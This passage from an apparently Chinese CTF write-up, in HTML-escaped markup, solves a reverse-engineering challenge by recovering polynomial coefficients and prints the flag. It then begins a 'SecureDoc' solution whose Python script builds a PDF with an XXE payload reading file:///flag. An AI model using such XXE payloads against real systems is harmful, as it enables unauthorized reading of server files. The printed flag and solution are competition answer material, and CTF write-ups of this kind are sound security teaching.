{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;WRONG&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt;  // c6!=44114&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;WRONG&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;span&gt;  // c7!=606&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; iVar2;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;总结：bVar1默认false。当bVar1=true时，多项式的结果必须为0。v5决定了哪些local_c的多项式必须为0&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;静态分析中可以找到v5的值：0x00400C0210000001
&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;991&quot; src=&quot;/_astro/image-20260202011110853.DYEHnglO_2dX8SL.webp&quot; /&gt;&lt;figcaption&gt;Ghidra中找到的v5的值&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;依据以下代码可知local_c=114和local_c=514时多项式应为0。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;72&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;202&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LAB_0040177a:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bVar1 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;而依据v5的值，我们可以找到其他的根：[-59, -58, -47, -37, -9, -4, 5, 6, 17]&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;v5 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;00400C0210000001&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;solution &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; x &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;60&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;18&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;v12 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; x&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;37&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_29 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (v5 &lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span&gt; (v12 &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3f&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; local_29:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;solution.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(x)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(solution)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;所以所有的根是：[114,514,-59, -58, -47, -37, -9, -4, 5, 6, 17]&lt;/p&gt;&lt;p&gt;但是，8次多项式最多只有8个根，怎么会有11个根？&lt;/p&gt;&lt;p&gt;观察代码，可以发现&lt;strong&gt;汇编代码使用的是无符号比较（JA）：&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;991&quot; src=&quot;/_astro/image-20260202015833446.BPu6fuP0_Z2hOumq.webp&quot; /&gt;&lt;figcaption&gt;汇编代码&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;在无符号比较下，负数会变得很大。也就是说，&lt;strong&gt;只有v12&amp;gt;=0的时候(x&amp;gt;=-37)才会判断多项式是否为0&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;那么，我们知道这个多项式的所有根：[114,514,-37, -9, -4, 5, 6, 17]&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;然后我们需要给出这个多项式的9个系数。&lt;/p&gt;&lt;p&gt;既然知道所有的根，那么&lt;strong&gt;多项式可以写成：(x-114)(x-514)(x+37)(x+9)(x+4)(x-5)(x-6)(x-17)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;展开后得到：&lt;/p&gt;&lt;p&gt;-39805434720 + 1913427864x + 2877618036x² - 195296614x³ - 37214631x⁴ + 1704556x⁵ + 44114x⁶ - 606x⁷ + x⁸&lt;/p&gt;&lt;p&gt;也就是：&lt;strong&gt;[-39805434720,1913427864,2877618036,-195296614,-37214631,1704556,44114,-606,1]&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;从代码中我们可以得到一些提示：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408060 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  //c8=1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_0040805c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;25e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  //c7=-606&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408058 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;ac52&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;  //c6=44114&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;完全符合我们刚刚展开的多项式。&lt;/p&gt;&lt;p&gt;按照顺序输入就可以拿到flag：&lt;strong&gt;unictf{19287189-291837918-knsadainwak-siadnwoadiasg}&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1464&quot; height=&quot;96&quot; src=&quot;/_astro/image-20260202022001955.O1aA3v0D_ZPN3lQ.webp&quot; /&gt;&lt;figcaption&gt;拿到flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;SecureDoc&lt;a href=&quot;#securedoc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;题目提到的XFA是一种已经被弃用的技术，XFA 表单中的数据被存储在PDF文件中的独立XML结构中。&lt;/p&gt;&lt;p&gt;我没有找到非常详细的XFA的介绍，用AI生成了一个包含基本PDF结构并且注入恶意XML代码的PDF:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;create_test_xxe_pdf&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 核心的XXE payload&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xxe_payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;!DOCTYPE xfa [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;!ENTITY xxe SYSTEM &quot;file:///flag&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;]&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;xdp:xdp xmlns:xdp=&quot;http://ns.adobe.com/xdp/&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;template&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;subform name=&quot;form1&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;field name=&quot;field1&quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;ui&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;textEdit/&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/ui&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;value&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;text&amp;gt;&amp;amp;xxe;&amp;lt;/text&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/value&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/field&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/subform&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/template&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;/xdp:xdp&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 构建PDF的各个部分&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; []&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 1. PDF头部&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;%PDF-1.4&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 2. 对象1: Catalog (目录)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;1 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;lt;&amp;lt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Type /Catalog&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/Pages 2 0 R&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;/AcroForm 3 0 R&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;&amp;gt;&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;endobj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 3. 对象2: Pages (页面)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pdf_content.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&quot;2 0 obj&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    